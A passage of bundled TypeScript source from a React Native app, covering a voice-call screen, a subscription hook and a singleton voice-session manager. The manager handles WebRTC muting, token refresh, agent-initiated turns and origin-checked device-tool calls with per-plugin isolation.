userPartial]);\n\n const statusLabel = useMemo(() => {\n if (callState === 'connecting') return 'Connecting…';\n if (callState === 'error') return error || 'Couldn’t connect';\n if (aiPartial) return 'Ada is speaking';\n if (userPartial) return 'Listening';\n if (callState === 'connected') return 'Go ahead, I’m here.';\n return '';\n }, [callState, aiPartial, userPartial, error]);\n\n if (!visible) return null;\n\n const visibleEntries = transcript.filter(e => e.role === 'user' || e.role === 'ai');\n\n return (\n <SurfaceFullscreen\n visible={visible}\n onClose={handleHangUp}\n status={statusLabel}\n hero={<AdaOrb size={180} state={orbState} />}\n closeIcon=\"hangup\"\n closeLabel=\"End\"\n >\n <ScrollView\n ref={scrollRef}\n style={styles.transcript}\n contentContainerStyle={styles.transcriptContent}\n showsVerticalScrollIndicator={false}\n >\n {callState === 'error' && error ? (\n <View style={styles.errorBox}>\n <Text style={styles.errorText}>{error}</Text>\n </View>\n ) : null}\n {visibleEntries.map((entry, i) => (\n <View key={`${entry.ts}-${i}`} style={styles.entry}>\n <Text style={styles.role}>\n {entry.role === 'user' ? 'YOU' : 'ADA'}\n </Text>\n <HighlightedText\n text={entry.text}\n baseStyle={styles.entryText}\n importantStyle={styles.important}\n />\n </View>\n ))}\n {(userPartial || aiPartial) ? (\n <View style={styles.entry}>\n <Text style={styles.role}>\n {userPartial ? 'YOU' : 'ADA'}\n </Text>\n <HighlightedText\n text={userPartial || aiPartial}\n baseStyle={styles.entryTextLive}\n importantStyle={styles.important}\n />\n </View>\n ) : null}\n </ScrollView>\n\n {/* Mute control — floating above transcript, only when call is live */}\n {callState === 'connected' || callState === 'connecting' ? (\n <View style={styles.muteWrap} pointerEvents=\"box-none\">\n <Pressable\n onPress={toggleMute}\n accessibilityRole=\"button\"\n accessibilityLabel={muted ? 'Unmute microphone' : 'Mute microphone'}\n accessibilityState={{ selected: muted }}\n style={[styles.muteBtn, muted && styles.muteBtnActive]}\n hitSlop={12}\n >\n <Svg width={22} height={22} viewBox=\"0 0 24 24\" fill=\"none\" stroke={muted ? ada.paper : ada.ink} strokeWidth={2} strokeLinecap=\"round\" strokeLinejoin=\"round\">\n <Path d=\"M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z\" />\n <Path d=\"M19 10v2a7 7 0 0 1-14 0v-2\" />\n <Line x1=\"12\" y1=\"19\" x2=\"12\" y2=\"23\" />\n <Line x1=\"8\" y1=\"23\" x2=\"16\" y2=\"23\" />\n {muted ? <Line x1=\"3\" y1=\"3\" x2=\"21\" y2=\"21\" stroke={ada.paper} strokeWidth={2.4} /> : null}\n </Svg>\n </Pressable>\n <Text style={styles.muteLabel}>{muted ? 'Muted' : 'Mute'}</Text>\n </View>\n ) : null}\n </SurfaceFullscreen>\n );\n}\n\nconst styles = StyleSheet.create({\n transcript: {\n flex: 1,\n paddingHorizontal: 28,\n },\n transcriptContent: {\n paddingTop: 8,\n paddingBottom: 16,\n gap: 14,\n },\n entry: {\n flexDirection: 'row',\n gap: 10,\n alignItems: 'flex-start',\n },\n role: {\n fontSize: 10,\n fontFamily: fontFam,\n fontWeight: '700',\n color: ada.inkMuted,\n letterSpacing: 1.4,\n minWidth: 32,\n paddingTop: 3,\n opacity: 0.55,\n },\n entryText: {\n flex: 1,\n fontSize: 14,\n fontFamily: fontFam,\n fontWeight: '400',\n color: ada.inkSoft,\n lineHeight: 20,\n letterSpacing: -0.1,\n opacity: 0.42,\n },\n entryTextLive: {\n flex: 1,\n fontSize: 14,\n fontFamily: fontFam,\n fontWeight: '400',\n color: ada.inkSoft,\n lineHeight: 20,\n letterSpacing: -0.1,\n opacity: 0.7,\n },\n important: {\n fontSize: 17,\n fontFamily: fontFam,\n fontWeight: '700',\n color: ada.ink,\n letterSpacing: -0.1,\n opacity: 1,\n },\n errorBox: {\n backgroundColor: 'rgba(239,68,68,0.12)',\n borderColor: 'rgba(239,68,68,0.45)',\n borderWidth: 1,\n borderRadius: 10,\n paddingVertical: 10,\n paddingHorizontal: 14,\n marginBottom: 12,\n },\n errorText: {\n fontSize: 13,\n fontFamily: fontFam,\n fontWeight: '500',\n color: '#fca5a5',\n lineHeight: 18,\n },\n muteWrap: {\n position: 'absolute',\n bottom: Platform.OS === 'ios' ? 56 : 40,\n left: 28,\n alignItems: 'center',\n gap: 6,\n },\n muteBtn: {\n width: 56,\n height: 56,\n borderRadius: 28,\n backgroundColor: ada.paperSoft,\n borderWidth: 1,\n borderColor: ada.border,\n justifyContent: 'center',\n alignItems: 'center',\n },\n muteBtnActive: {\n backgroundColor: '#C15545',\n borderColor: '#C15545',\n },\n muteLabel: {\n fontSize: 12,\n fontFamily: fontFam,\n fontWeight: '500',\n color: ada.inkMuted,\n letterSpacing: 0.3,\n },\n});\n","/**\n * useVoiceCall — a React VIEW onto the one `voiceSession`.\n *\n * The session itself (WebRTC WebView, transcript, device tools, mute, token\n * refresh) no longer lives here — it moved to `voiceSession`, a singleton the\n * app roots via VoiceSessionHost so the loop survives any screen unmounting. This\n * hook is now just a subscription: it re-renders its caller on session changes\n * and forwards the controls. VoiceCallSheet is one such view; a plugin's own UI\n * is another, via `props.voice`.\n *\n * The return shape is kept backward-compatible for VoiceCallSheet, minus the\n * WebView plumbing (source/ref/message handler/track hook) — that is the host's\n * job now, not any screen's.\n */\nimport { useCallback, useEffect, useReducer } from 'react';\nimport { voiceSession, type CallState, type TranscriptEntry } from './voiceSession';\n\nexport type { CallState, TranscriptEntry };\n\nexport default function useVoiceCall({ skillSlug }: { skillSlug?: string } = {}) {\n const [, force] = useReducer((x: number) => x + 1, 0);\n\n useEffect(() => {\n const sub = voiceSession.subscribe(() => force());\n return () => sub.unsubscribe();\n }, []);\n\n const s = voiceSession.getInternal();\n\n // Opening a screen while a session is already live ATTACHES to it (start() is\n // a no-op that resolves) — never a second Realtime loop (invariant 2).\n const startCall = useCallback(\n (opts?: { skillSlug?: string }) => voiceSession.start(opts ?? { skillSlug }),\n [skillSlug],\n );\n const stopCall = useCallback(() => voiceSession.stop(), []);\n const toggleMute = useCallback(\n () => voiceSession.setMuted(!voiceSession.getSnapshot().muted),\n [],\n );\n\n return {\n callState: s.callState,\n sessionId: s.sessionId,\n error: s.error,\n transcript: s.transcript,\n aiPartial: s.aiPartial,\n userPartial: s.userPartial,\n muted: s.muted,\n startCall,\n stopCall,\n toggleMute,\n };\n}\n","/**\n * voiceSession — the ONE live voice session, headless and app-root-owned.\n *\n * WHY THIS EXISTS. The session used to live inside `useVoiceCall`, whose WebView\n * was rendered by VoiceCallSheet. Unmount the sheet and the WebView unmounted\n * with it, so the session died — not by design, just by where the WebView lived.\n * That made the built-in screen the ONLY way to hold a live loop, exactly the\n * state the camera was in before sensing and preview were split.\n *\n * The fix is the same one VisionStreamHost applied to the camera: move the thing\n * that must stay alive to the app root, and make every surface a READER of it.\n * This module is that thing — a singleton that owns session state and drives the\n * WebView; `VoiceSessionHost` mounts the (offscreen) WebView bound to it once, at\n * the root; `useVoiceCall` / `props.voice` are views onto it.\n *\n * It is the provider handed to `setVoiceProvider` (plugin-runtime), so a plugin's\n * gated `props.voice` and the built-in sheet drive the SAME session — one phone,\n * one mic, one Realtime loop, one bill (spec invariant 2).\n *\n * TRUST. The device-tool channel (origin-checked postMessage) is preserved\n * verbatim from the hook: the model's tool calls arrive on THIS phone over the\n * WebView's own WebRTC, and only a message from the voice app's own origin may\n * drive the device. `prompt()` is an AGENT turn, never forged user speech, and it\n * cannot reach the WebView beyond that one injected call.\n */\nimport { getVoiceApiUrl, getToken, getTenant, getUser, refreshToken } from '@ateam-ai-mobile/core';\nimport {\n callDeviceTool,\n ensureDeviceToolsLoaded,\n listDeviceTools,\n hasDeviceTool,\n PLATFORM_VOICE_CALLER,\n type VoiceSessionProvider,\n type VoiceCaller,\n type VoiceSnapshot,\n type VoiceState,\n type VoiceTranscriptEntry,\n type VoiceStartOptions,\n type VoicePersona,\n type VoiceEvent,\n type VoiceSubscription,\n type VoiceDeviceToolCall,\n type VoiceDeviceToolReason,\n} from '@ateam-ai-mobile/plugin-runtime';\n\n// Re-export the transcript/state shapes under their historical names so existing\n// importers (useVoiceCall, VoiceCallSheet) keep compiling. The canonical\n// definitions live in plugin-runtime (the layer both ui and plugins depend on).\nexport type CallState = VoiceState;\nexport type TranscriptEntry = VoiceTranscriptEntry;\n\n/** How long to wait for the WebView to reach 'connected' before start() rejects.\n * A hung promise (e.g. no VoiceSessionHost mounted) is worse than a clear error. */\nconst CONNECT_TIMEOUT_MS = 30_000;\n\n/**\n * The voice WebView bakes the JWT into its URL once at mount and never refreshes\n * it (unlike the SDK REST client, which self-heals on 401). Refresh a stale/near-\n * expiry token BEFORE the WebView mounts so it gets a fresh one. Cheap unless\n * actually near expiry (decoded locally, no network unless needed).\n */\nconst TOKEN_REFRESH_SKEW_MS = 90_000;\nfunction tokenNeedsRefresh(token: string | null): boolean {\n if (!token) return true;\n try {\n const payloadB64 = token.split('.')[1];\n const padded = payloadB64.replace(/-/g, '+').replace(/_/g, '/');\n const json = typeof atob === 'function'\n ? atob(padded)\n : Buffer.from(padded, 'base64').toString('utf8');\n const exp = JSON.parse(json)?.exp;\n if (typeof exp !== 'number') return false;\n return Date.now() >= exp * 1000 - TOKEN_REFRESH_SKEW_MS;\n } catch {\n return false;\n }\n}\n\n// Installed BEFORE the voice app loads — captures every audio track that could\n// reach the peer connection so setMuted can flip enabled=false on all of them,\n// however the voice app obtained the track. (Verbatim from useVoiceCall.)\nexport const INJECT_TRACK_HOOK = `\n(function() {\n if (window._adaTrackHookInstalled) return;\n window._adaTrackHookInstalled = true;\n window._allAudioTracks = [];\n window._adaPeerConnections = [];\n\n function track(t) {\n if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {\n window._allAudioTracks.push(t);\n }\n }\n\n try {\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);\n navigator.mediaDevices.getUserMedia = async function(constraints) {\n const stream = await origGUM(constraints);\n if (constraints && constraints.audio) {\n try { stream.getAudioTracks().forEach(track); } catch (e) {}\n }\n return stream;\n };\n }\n } catch (e) {}\n\n try {\n if (window.RTCPeerConnection) {\n const origPC = window.RTCPeerConnection;\n const origAddTrack = origPC.prototype.addTrack;\n const origAddStream = origPC.prototype.addStream;\n const origAddTransceiver = origPC.prototype.addTransceiver;\n\n origPC.prototype.addTrack = function(t) {\n if (t && t.kind === 'audio') track(t);\n return origAddTrack.apply(this, arguments);\n };\n if (origAddStream) {\n origPC.prototype.addStream = function(stream) {\n try { stream.getAudioTracks().forEach(track); } catch (e) {}\n return origAddStream.apply(this, arguments);\n };\n }\n if (origAddTransceiver) {\n origPC.prototype.addTransceiver = function(arg) {\n if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {\n track(arg.track);\n }\n const tx = origAddTransceiver.apply(this, arguments);\n try {\n if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);\n } catch (e) {}\n return tx;\n };\n }\n }\n } catch (e) {}\n\n window._adaSetMuted = function(muted) {\n let n = 0;\n if (Array.isArray(window._allAudioTracks)) {\n window._allAudioTracks.forEach(function(t) {\n try { t.enabled = !muted; n++; } catch (e) {}\n });\n }\n return n;\n };\n})(); true;\n`;\n\nconst buildMuteScript = (muted: boolean) => `\n(function(muted) {\n if (typeof window.setMuted === 'function') { window.setMuted(muted); }\n let n = 0;\n if (typeof window._adaSetMuted === 'function') {\n n = window._adaSetMuted(muted);\n }\n if (n === 0 && Array.isArray(window._allAudioTracks)) {\n window._allAudioTracks.forEach(function(t) {\n try { t.enabled = !muted; n++; } catch (e) {}\n });\n }\n console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);\n})(${muted}); true;\n`;\n\n/**\n * The agent-initiated turn — the guide speaking first. Calls the voice app's\n * `__adasAgentTurn(input)`, which must issue a Realtime `response.create` into\n * the ALREADY-OPEN session (Core owns that function; see the spec §4.2).\n *\n * REFUSE, DON'T NO-OP: an undefined function called through injectJavaScript\n * fails SILENTLY in the WebView, and the author sees a guide that simply never\n * speaks first — indistinguishable from a model that chose silence. So if the\n * hook is absent (an older voice page), we post a notice back that surfaces as\n * `lastError`, without ending the session.\n */\nconst buildAgentTurnScript = (input: string) => `\n(function(input) {\n if (typeof window.__adasAgentTurn === 'function') {\n try { window.__adasAgentTurn(input); }\n catch (e) {\n window.ReactNativeWebView && window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'agentTurnFailed', message: String(e && e.message || e),\n }));\n }\n } else if (window.ReactNativeWebView) {\n window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'agentTurnUnsupported',\n message: 'voice app does not support agent turns (__adasAgentTurn missing) — update the voice page',\n }));\n }\n})(${JSON.stringify(input)}); true;\n`;\n\n/**\n * A silent OBSERVATION — tell the model something without asking it to speak.\n * Calls the voice app's `__adasObserve(text)`, which adds a `system` conversation\n * item and does NOT request a response (Core owns that function). This is the\n * cheap channel for a continuous stream — e.g. what the camera sees while the\n * user walks — as opposed to `__adasAgentTurn`, which asks the model to speak.\n *\n * Same refuse-don't-no-op contract as the agent turn: a missing hook posts a\n * notice back rather than failing silently.\n */\nconst buildObserveScript = (text: string) => `\n(function(text) {\n if (typeof window.__adasObserve === 'function') {\n try { window.__adasObserve(text); }\n catch (e) {\n window.ReactNativeWebView && window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'observeFailed', message: String(e && e.message || e),\n }));\n }\n } else if (window.ReactNativeWebView) {\n window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'observeUnsupported',\n message: 'voice app does not support observe (__adasObserve missing) — update the voice page',\n }));\n }\n})(${JSON.stringify(text)}); true;\n`;\n\n/** How much of a device-tool error the snapshot keeps. The model still gets the\n * whole message; the snapshot is a diagnostic any reader of it can see, and a\n * tool's error can echo the call's arguments (what the user said). */\nconst DEVICE_TOOL_ERROR_MAX = 200;\n\nfunction clipError(message: string): string {\n const chars = Array.from(message); // by code point, so an emoji is never split\n return chars.length > DEVICE_TOOL_ERROR_MAX\n ? chars.slice(0, DEVICE_TOOL_ERROR_MAX - 1).join('') + '…'\n : message;\n}\n\n/** A device-tool call's answer — what the mini-app gets back (plus its\n * correlationId) and what `lastDeviceTool` is built from. ONE object for both,\n * so the model's answer and the snapshot can never disagree. */\ntype DeviceToolAnswer =\n | { ok: true; result: any }\n | { ok: false; reason: VoiceDeviceToolReason; error: string };\n\n/** A finished call, tagged with the session owner's pluginId when the tool is\n * that plugin's own; null when it is not (another solution's tool, the\n * platform's, an unregistered name, no name) — then only the platform sees it. */\ninterface DeviceToolRecord {\n owner: string | null;\n call: VoiceDeviceToolCall;\n}\n\n/** Origin of a URL, or null if it can't be parsed. */\nfunction originOf(url?: string | null): string | null {\n if (!url) return null;\n const m = /^([a-z][a-z0-9+.-]*:\\/\\/[^/?#]+)/i.exec(url);\n return m ? m[1].toLowerCase() : null;\n}\n\ninterface InternalState {\n callState: CallState;\n sessionId: string | null;\n error: string | null;\n transcript: TranscriptEntry[];\n aiPartial: string;\n userPartial: string;\n muted: boolean;\n /** User VAD, from the mini-app's speechActivity events. */\n userSpeaking: boolean;\n /** Epoch ms of the last speaking:false, or null before the first utterance. */\n lastUserSpeechEndedAt: number | null;\n /** This session's finished device-tool calls: the LATEST per owner tag (see\n * DeviceToolRecord), in the order they finished. The platform reads the last\n * one; the owning plugin reads its own (lastDeviceToolFor) — one store, both\n * views derived from it. */\n deviceToolCalls: DeviceToolRecord[];\n /** The WebView should be mounted (a session is wanted / live). */\n mounted: boolean;\n /** The WebView source, computed ONCE at start() so state changes (transcript,\n * partials) never remount the WebView and drop the session. */\n webViewSource: { uri: string } | null;\n skillSlug?: string;\n /** Per-call persona override ({ name, style }) — sent to the voice page on the\n * session URL and declared on POST /session; the server layers it. */\n persona?: VoicePersona;\n}\n\nconst IDLE: InternalState = {\n callState: 'idle',\n sessionId: null,\n error: null,\n transcript: [],\n aiPartial: '',\n userPartial: '',\n muted: false,\n userSpeaking: false,\n lastUserSpeechEndedAt: null,\n deviceToolCalls: [],\n mounted: false,\n webViewSource: null,\n skillSlug: undefined,\n};\n\ntype Pending = { caller: VoiceCaller; resolve: (s: VoiceSnapshot) => void; reject: (e: Error) => void; timer: any };\n\nclass VoiceSessionManager implements VoiceSessionProvider {\n private state: InternalState = { ...IDLE };\n private listeners = new Set<(e: VoiceEvent) => void>();\n private webView: { injectJavaScript?: (js: string) => void } | null = null;\n private pending: Pending[] = [];\n /**\n * WHO owns the one physical session. Set to the caller that started it from\n * idle (a plugin's pluginId, or the PLATFORM symbol for the built-in sheet),\n * and kept after stop until the next start reassigns it — so a plugin can read\n * its own just-ended transcript but another plugin never can.\n *\n * ISOLATION (GPT blocker on 8881225): every access is scoped through this. A\n * different plugin must not read, control, or attach to another plugin's live\n * conversation just because it declared voice.\n */\n private owner: VoiceCaller | null = null;\n\n /** EVERY start() still in its pre-mount awaits (tool preload, token refresh).\n * The session is not 'connecting' yet, so a stop() arriving now would otherwise\n * be an idle no-op — and a start would then mount a call for a screen that has\n * already gone. A set, not one slot: two concurrent starts must BOTH be\n * cancellable. stop() cancels every pending start of its caller (the platform:\n * all of them); another plugin's stop cancels none. */\n private pendingStarts = new Set<{ caller: VoiceCaller; cancelled: boolean }>();\n\n /**\n * The device-tool names Core ALLOWED for this voice session — Core's sanitized\n * allowset, delivered to the phone in a `deviceToolAllowset` message.\n * Authorization gates against THIS (necessary, alongside the registry's can-do).\n *\n * WHY (GPT gate 1, corrected): the phone only PROPOSES its available tools\n * (sendDeviceToolList); CORE is the session authority and decides which are\n * accepted (session.device_tools). Freezing the phone's own proposal would let\n * a tool Core REJECTED still run locally. So the authz set is populated from\n * Core's accepted set, never from listDeviceTools(). Until Core's set arrives\n * this is null and every call FAILS CLOSED. Pinned once per session; the live\n * registry (which drifts via lazy loads / host registration / tenant changes)\n * never feeds it.\n */\n private frozenTools: Set<string> | null = null;\n\n /** The voice `sessionId` the current allowset is BOUND to. Authorization\n * requires it to equal the active session's id (state.sessionId), so a stale\n * allowset from a previous/other session is refused. */\n private frozenSessionId: string | null = null;\n\n /** A CLEAN call (skills:'none') started by a plugin offers and runs ONLY that\n * plugin's own device tools — not other solutions' tools that happen to be\n * registered on the same phone. null = every registered tool (a normal call,\n * or the platform's). Set by every start(); like `owner`, kept after stop.\n * ONE identity: the caller is the TRUSTED manifest pluginId gateVoice stamps,\n * and the bundleManager registers a plugin's tools under that same id (never\n * the bundle's own short `id`), so exact equality is the whole check. */\n private toolScope: string | null = null;\n\n /** Bumped whenever a session begins or ends. A device-tool call remembers the\n * epoch it arrived in, and its outcome is recorded only if that session is\n * still the current one — a tool that finishes after hang-up (or after a new\n * call started) must not show up as the new session's last call. */\n private sessionEpoch = 0;\n\n /** The platform (built-in sheet, mic indicator, session host) sees and\n * controls any session — it is the user's own surface. A plugin caller may\n * only touch a session it owns. */\n private canAccess(caller: VoiceCaller): boolean {\n return caller === PLATFORM_VOICE_CALLER || this.owner === caller;\n }\n\n private foreignError(): Error {\n const err: any = new Error(\n 'voice: another solution is using the microphone — one live session per device.',\n );\n err.code = 'RESTRICTED';\n return err;\n }\n\n // ── Host wiring (used only by VoiceSessionHost) ──────────────\n\n /** The offscreen WebView sets its ref here so the session can inject into it. */\n setWebView(ref: { injectJavaScript?: (js: string) => void } | null): void {\n this.webView = ref;\n }\n\n /** Whole state — the host reads `mounted` + `webViewSource` to decide what to\n * render, and every reader derives its snapshot from this. */\n getInternal(): Readonly<InternalState> {\n return this.state;\n }\n\n readonly injectedTrackHook = INJECT_TRACK_HOOK;\n\n // ── VoiceAPI (what props.voice and useVoiceCall call) ────────\n\n async start(opts?: VoiceStartOptions, caller: VoiceCaller = PLATFORM_VOICE_CALLER): Promise<VoiceSnapshot> {\n // Single session: if one is live or connecting, ATTACH — never a second\n // Realtime loop (invariant 2). But ONLY the owner (or the platform) may\n // attach; a different plugin that declared voice is REFUSED, not silently\n // joined to a conversation it does not own (GPT isolation blocker). A\n // different skillSlug does NOT restart it.\n if (this.state.callState === 'connected') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.realSnapshot(caller);\n }\n if (this.state.callState === 'connecting') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.waitForConnect(caller);\n }\n\n if (opts?.skills === 'none' && opts?.skillSlug) {\n throw new Error(\"voice: skills:'none' (a clean call) cannot also hand the mic to a skill (skillSlug).\");\n }\n const ticket = { caller, cancelled: false };\n this.pendingStarts.add(ticket);\n\n // Device tools only exist once their bundle is evaluated; a user who goes\n // straight to voice can otherwise ask for a tool the phone never loaded.\n // Best-effort — a failure just means no device tools this time.\n try {\n await ensureDeviceToolsLoaded();\n } catch (e: any) {\n console.warn('[voiceSession] device tool preload failed:', e?.message || String(e));\n }\n\n // Hand the WebView a FRESH token before it mounts (it never refreshes once\n // mounted). Only pays a round-trip when near expiry.\n try {\n if (tokenNeedsRefresh(getToken())) await refreshToken();\n } catch {\n // Proceed with whatever token we have; voice-backend surfaces a clean auth\n // error rather than us blocking the call.\n }\n\n this.pendingStarts.delete(ticket);\n if (ticket.cancelled) throw new Error('voice: stopped before the session started');\n // Another start() may have mounted a session while we awaited — attach to it\n // (or be refused) exactly as the entry checks would have, never mount twice.\n // (Re-read: the awaits above can change it; the entry checks' narrowing can't.)\n const after = this.getInternal().callState;\n if (after === 'connected') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.realSnapshot(caller);\n }\n if (after === 'connecting') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.waitForConnect(caller);\n }\n\n // Idle → this caller becomes the owner of the new session. A NEW session\n // re-freezes its tool set on the next tool-list request.\n this.owner = caller;\n this.toolScope = opts?.skills === 'none' && typeof caller === 'string' ? caller : null;\n this.frozenTools = null;\n this.frozenSessionId = null;\n this.sessionEpoch++;\n const skillSlug = opts?.skillSlug;\n this.setState({\n callState: 'connecting',\n error: null,\n transcript: [],\n aiPartial: '',\n userPartial: '',\n muted: false,\n // A session that ended from inside the voice page (not via stop()) left\n // its calls here; the new session starts with none.\n deviceToolCalls: [],\n mounted: true,\n skillSlug,\n persona: opts?.persona,\n webViewSource: { uri: this.buildUri(skillSlug, opts?.persona, opts?.skills) },\n });\n return this.waitForConnect(caller);\n }\n\n stop(caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n // A plugin may not hang up another solution's live call. (Idle stop is a\n // harmless no-op for anyone.)\n if (this.state.callState !== 'idle' && !this.canAccess(caller)) throw this.foreignError();\n // Starts still before their mount: cancel ALL of this caller's (the platform:\n // everyone's) — another plugin must not be able to abort someone's call.\n for (const t of [...this.pendingStarts]) {\n if (caller === PLATFORM_VOICE_CALLER || caller === t.caller) {\n t.cancelled = true;\n this.pendingStarts.delete(t);\n }\n }\n this.webView?.injectJavaScript?.('window.hangUp && window.hangUp(); true;');\n this.rejectPending(new Error('voice: session stopped before it connected'));\n this.frozenTools = null; // the session's authorized set ends with the session\n this.frozenSessionId = null;\n this.sessionEpoch++; // a tool still running for this session records nothing\n this.setState({\n ...IDLE,\n // keep the transcript of the call that just ended for any reader still up\n transcript: this.state.transcript,\n });\n // owner is intentionally KEPT (not reset to null): the next start() from\n // idle reassigns it, and until then the owner can still read its own\n // just-ended transcript while others cannot.\n }\n\n setMuted(muted: boolean, caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n if (this.state.callState !== 'idle' && !this.canAccess(caller)) throw this.foreignError();\n this.webView?.injectJavaScript?.(buildMuteScript(muted));\n this.setState({ muted });\n }\n\n prompt(input: string, caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n if (this.state.callState !== 'connected') {\n throw new Error('voice: session is not connected — call start() and await it before prompt().');\n }\n if (!this.canAccess(caller)) throw this.foreignError();\n this.webView?.injectJavaScript?.(buildAgentTurnScript(input));\n }\n\n /**\n * Stream a silent observation into the live session — tell the model without\n * asking it to speak. The cheap channel behind the gated props.voice.observe();\n * every item stays in the model's context for the call, so a caller sends only\n * material changes. Owner-scoped like every other control.\n */\n observe(text: string, caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n if (this.state.callState !== 'connected') {\n throw new Error('voice: session is not connected — observe() needs a live session.');\n }\n if (!this.canAccess(caller)) throw this.foreignError();\n this.webView?.injectJavaScript?.(buildObserveScript(text));\n }\n\n getSnapshot(caller: VoiceCaller = PLATFORM_VOICE_CALLER): VoiceSnapshot {\n // A non-owner sees \"you have no session\" — which is TRUE for it — and learns\n // nothing about the conversation another solution is holding. This is not a\n // fake idle (invariant 6 is about an UNDECLARED plugin): a declared plugin\n // that does not own the live session genuinely has none of its own.\n return this.canAccess(caller) ? this.realSnapshot(caller) : this.foreignSnapshot();\n }\n\n /** The snapshot for a caller that may access the session. Everything is the\n * session's, except `lastDeviceTool`, which is scoped to the caller's tools. */\n private realSnapshot(caller: VoiceCaller): VoiceSnapshot {\n const s = this.state;\n return {\n state: s.callState,\n sessionId: s.sessionId,\n muted: s.muted,\n speaking: !!s.aiPartial,\n listening: !!s.userPartial,\n userSpeaking: s.userSpeaking,\n lastUserSpeechEndedAt: s.lastUserSpeechEndedAt,\n lastDeviceTool: this.lastDeviceToolFor(caller),\n authorizedSessionId: this.frozenSessionId,\n lastError: s.error,\n };\n }\n\n /**\n * The last finished device-tool call THIS caller may see. The platform (the\n * user's own surface) sees every call. A plugin sees only calls to tools it\n * registered — even on a session it owns, the model can call another\n * solution's tool (a normal call offers every registered tool), and that\n * tool's name and error are not this plugin's to read.\n */\n private lastDeviceToolFor(caller: VoiceCaller): VoiceDeviceToolCall | null {\n const calls = this.state.deviceToolCalls;\n if (caller === PLATFORM_VOICE_CALLER) return calls.length ? calls[calls.length - 1].call : null;\n return calls.find(r => r.owner === caller)?.call ?? null;\n }\n\n private foreignSnapshot(): VoiceSnapshot {\n return {\n state: 'idle', sessionId: null, muted: false, speaking: false, listening: false,\n userSpeaking: false, lastUserSpeechEndedAt: null, lastDeviceTool: null,\n authorizedSessionId: null, lastError: null,\n };\n }\n\n subscribe(cb: (event: VoiceEvent) => void, caller: VoiceCaller = PLATFORM_VOICE_CALLER): VoiceSubscription {\n // Scope the stream: a non-owner's callback never fires (it has no session to\n // observe), so a plugin cannot watch another solution's conversation by\n // pre-registering a subscription before/while it is live. When this caller\n // later owns a session, canAccess flips true and its callback starts firing.\n const wrapped = (event: VoiceEvent) => { if (this.canAccess(caller)) cb(event); };\n this.listeners.add(wrapped);\n return { unsubscribe: () => { this.listeners.delete(wrapped); } };\n }\n\n transcript(caller: VoiceCaller = PLATFORM_VOICE_CALLER): TranscriptEntry[] {\n return this.canAccess(caller) ? this.state.transcript.slice() : [];\n }\n\n // ── WebView plumbing ─────────────────────────────────────────\n\n private buildUri(skillSlug?: string, persona?: VoicePersona, skills?: VoiceStartOptions['skills']): string {\n const token = getToken();\n const tenant = getTenant();\n const actorId = getUser()?.actorId || '';\n const skillParam = skillSlug ? `&skillSlug=${encodeURIComponent(skillSlug)}` : '';\n // Declared start option, carried on the same URL as tenant/authToken; the\n // voice page forwards it as POST /session `persona`, where it's sanitized.\n const p = persona && (persona.name || persona.style)\n ? { ...(persona.name ? { name: persona.name } : {}), ...(persona.style ? { style: persona.style } : {}) }\n : null;\n const personaParam = p ? `&persona=${encodeURIComponent(JSON.stringify(p))}` : '';\n // Clean call: only the one reduce-only value is ever sent; anything else is\n // not a request at all (the server accepts only 'none' too).\n const skillsParam = skills === 'none' ? '&skills=none' : '';\n return `${getVoiceApiUrl()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || '')}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}${skillParam}${personaParam}${skillsParam}`;\n }\n\n /** Handle a postMessage from the WebView. `event` is the RN WebView event. */\n handleMessage(event: any): void {\n let data: any;\n try {\n data = JSON.parse(event.nativeEvent.data);\n } catch {\n return;\n }\n switch (data.type) {\n case 'callState':\n case 'call-state':\n if (data.state) this.setState({ callState: data.state });\n if (data.sessionId) this.setState({ sessionId: data.sessionId });\n if (data.error) this.setState({ error: data.error });\n if (data.state === 'connected') this.resolvePending();\n if (data.state === 'error') this.rejectPending(new Error(data.error || 'voice: connection error'));\n break;\n case 'transcript':\n this.appendTranscript({ role: data.role, text: data.text, ts: Date.now() });\n break;\n case 'aiPartial':\n this.setState({ aiPartial: data.text });\n break;\n case 'userPartial':\n this.setState({ userPartial: data.text });\n break;\n case 'clearPartials':\n this.setState({ aiPartial: '', userPartial: '' });\n break;\n // User VAD from the mini-app. `at` is when it happened; on speaking:false\n // we stamp lastUserSpeechEndedAt so a solution can gate \"speak after N s of\n // silence\" on the first real stop, never before the user has spoken.\n case 'speechActivity': {\n const speaking = !!data.speaking;\n const at = typeof data.at === 'number' ? data.at : Date.now();\n this.setState(\n speaking\n ? { userSpeaking: true }\n : { userSpeaking: false, lastUserSpeechEndedAt: at },\n );\n break;\n }\n case 'error':\n this.setState({ error: data.message, callState: 'error' });\n this.rejectPending(new Error(data.message || 'voice: error'));\n break;\n // A proactive turn couldn't run (older voice page / hook threw). NON-FATAL:\n // the session stays live; we only surface why the guide didn't speak.\n case 'agentTurnUnsupported':\n case 'agentTurnFailed':\n case 'observeUnsupported':\n case 'observeFailed':\n this.setState({ error: data.message || 'voice: channel notice' });\n break;\n // Device tools — executed locally, origin-checked. The model's function\n // call already arrived on this phone; only the voice app's own origin may\n // drive the camera/GPS.\n case 'device-tool-list': {\n const listSender = originOf(event?.nativeEvent?.url);\n const listExpected = originOf(getVoiceApiUrl());\n if (!listSender || !listExpected || listSender !== listExpected) break;\n this.sendDeviceToolList(data.correlationId);\n 